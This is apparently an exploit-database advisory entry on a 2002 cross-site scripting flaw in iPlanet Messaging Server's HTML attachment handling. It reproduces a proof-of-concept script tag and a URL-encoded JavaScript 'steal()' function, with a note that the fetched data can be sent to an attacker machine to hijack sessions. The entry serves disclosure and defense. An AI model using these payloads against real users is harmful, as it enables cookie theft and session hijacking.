iPlanet Messaging Server Cross-Site Scripting Vulnerability

vendor:

Messaging Server

by:

SecurityFocus

4.3

CVSS

MEDIUM

Cross-Site Scripting

CWE

Product Name: Messaging Server

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

iPlanet Messaging Server Cross-Site Scripting Vulnerability

It has been reported that iPlanet Messaging Server may be prone to cross-site scripting attacks. The problem is said to occur while processing HTML attachments received via e-mail. If successfully exploited, a malicious HTML file may be used to steal an unsuspecting users iPlanet Messaging cookies. Other attacks may also be possible. The following script code has been provided to demonstrate indirect session hijacking using web redirection: function%20steal(){var%20xmlHttp%20=%20new%20ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("GET","<URL_to_spoof>",false);xmlHttp.send();xmlDoc=xmlHttp.responseText; "xmldoc" can be redirected with a "img src", "window.open", to the attacker machine.

Mitigation:

Ensure that all HTML attachments are scanned for malicious content before allowing them to be opened.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/7704/info

It has been reported that iPlanet Messaging Server may be prone to cross-site scripting attacks. The problem is said to occur while processing HTML attachments received via e-mail. If successfully exploited, a malicious HTML file may be used to steal an unsuspecting users iPlanet Messaging cookies. Other attacks may also be possible. 

<html>
<script>alert(document.URL)</script>
</html>

The following script code has been provided to demonstrate indirect session hijacking using web redirection:

function%20steal(){var%20xmlHttp%20=%20new%20ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("GET","<URL_to_spoof>",false);xmlHttp.send();xmlDoc=xmlHttp.responseText;

"xmldoc" can be redirected with a "img src", "window.open", to the attacker machine.